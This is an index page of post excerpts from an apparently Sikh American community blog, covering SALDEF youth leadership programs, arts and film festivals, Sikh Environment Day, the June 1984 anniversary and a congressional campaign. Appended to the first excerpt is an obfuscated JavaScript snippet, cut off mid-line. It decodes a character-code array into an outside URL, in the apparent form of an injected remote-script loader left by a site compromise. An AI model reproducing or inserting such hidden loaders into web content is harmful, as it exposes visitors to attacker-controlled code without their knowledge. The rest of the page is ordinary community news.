So, it seems as if Ricky Gill has made it past the initial hurdles of running for Congress.   I saw this and just could not contain my own excitement. For those of you that have not heard yet, click to watch. Woot woot California! ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return...

Some on going conversations that we have partially had here on the TLH, as well as in person with a variety of peers that have reflected and discussed the fact that many young people today do not attend, participate, or engage within our gurdwaras.  Whereas I’ve been told that this varies from...

Yet few women’s stories about their experiences with health issues are shared beyond workplace women’s rooms, grocery store checkout lines and kitchen tables. Sorrowful and infuriating, hilarious and humiliating, our stories must be told, because women’s health concerns have been denied, ignored,...

Over the past two years, the Sikh American Legal Defense and Education Fund (SALDEF) has enabled vital training in advocacy, self-empowerment, and community change to over thirty Sikh American youth through SikhLEAD’s Leadership Development Program. Now, with two classes already pioneering their...

This weekend, from Friday to Sunday October 19-21st, the Sikh Studies department at Hofstra University will host ‘Sikhi(sm), Literature and Film,’ a conference on literary and visual cultures in the Sikh tradition, both in Panjab and the Diaspora. Paper presentations will be given during...

During this past week following the tragic events in Wisconsin, our community has changed substantially. We have grown as a people and identified even more with Sikhi, standing up in a time of crisis, and responding in a positive and effective way, battling apathy with activism and suffering with solidarity. SALDEF’s SikhLEAD Leadership...

I came across this poem today, and definitely wanted to share with all you Langarites.  Preeti Kaur, the author from California, is able to speak to numerous aspects of self-identifying as a Punjabi.  We’ve had some discussions around Punjabi and Sikh identity here before, thought it would be...

The Sikh American Legal Defense and Education Fund (SALDEF) has announced the application for the 2012 SikhLEAD Internship Program. The objective of SikhLEAD is to inspire, train, and support motivated and enterprising young Sikh American leaders as they prepare for a lifetime of community engagement...

Sikhs around the world will come together again to celebrate the Gurdgaddi of Guru Har Rai Ji again Sikh Vatavaran Diwas (environment day) for a second year in a row. On this day, Gurdwaras worldwide will focus kirtan and katha on the concept of kudrat, and participate in a number of hands on activities...

Oscar nominated director, Ashvin Kumar today offers a free preview of his film on the twenty year military presence in Kashmir, ‘Inshallah, Kashmir: Living Terror,’ a film that documents the treatment of the Kashmiri people at the hands of  half a million Indian military troops. The film reveals...

It’s that time of year again! For those Southern California natives, you (hopefully) know it rolls around once every year. This year, SikhLens is proud to announce its annual Sikh Arts and Film Festival to be held November 18th – 20th, 2011 at the prestigious Dodge College of Film and Media Arts...

Co-blogged by Sundari and Ajaib Kaur  How many young Sikh women do you know who are looking to meet their Sardar?  And how many young Sikh men do you know who are looking to meet their Sardarni? Lots?  We hear you.  But how can we make these two groups meet? We decided to write a post on this topic...

Beginning on October 15th, a three-day exhibition was held in Ludhiana to profile a generation of rising young artists in Punjab. The mission according to gallery is ‘to further enrich and diversify cultural life in the Punjab region by facilitating the development of emerging artists.’ The newly...

This Monday, Sikhs for Justice is organizing a rally at the United Nations Headquarters to call for UN intervention stop India’s planned execution of Professor Devenderpal Singh Bhullar.  Professor Bhullar’s brother, Tejinder Singh Bhullar will be addressing the rally. In their appeal to Secretary...

Kudarat 2011 at Olympic National Park  on July 21- 24 “Inspiration from Within: Unlocking Sikh Creativity” In my experience at conferences/retreats, or at youth camps there is a huge emphasis on sangat.  What is it? Who are they? Or, how as an individual, we can make impact.  In these...

A Pakistani friend of mine from Lahore passed on a video about a 70 year old man named Mushtaq Ahmed from a Punjabi village near Gujranwala, who just complete his MPhil and will be starting his PhD soon in Education. With five daughters and three sons, Mushtaq Ahmed completes all his necessary farm work,...

Today we remember twenty seven years since June 1984. We remember twenty seven years since Indira Gandhi sent the Indian Army tanks and artillery to the Darbar Sahib Complex and forty one Gurdwaras across Punjab on the shaheedpurab of Guru Arjan Dev Ji. We remember twenty seven years since bodies lined...

As the world celebrates the 41st Earth Day on April 22nd, to raise awareness about the state of the global environment (now recognized worldwide as International Mother Earth Day) the Punjab government this week announced that it would issue strong penalties on the use of polythene bags less than 30...

If you haven’t heard yet, March 14th, the First of the month of Chet in the Nanakshahi Calendar is being commemorated by Sikhs across six continents as ‘Sikh Vatavaran Diwas,’ or Sikh Environment Day. Following an official statement from the Akal Takht, this week over 250 Gurdwaras, schools,...

Today, March 8th, is the 100th annual International Women’s Day! This year’s theme is “Equal access to education, training and science and technology: Pathway to decent work for women.” The first International Women’s Day was celebrated in 1911 in Austria, Denmark, Germany, and Switzerland,...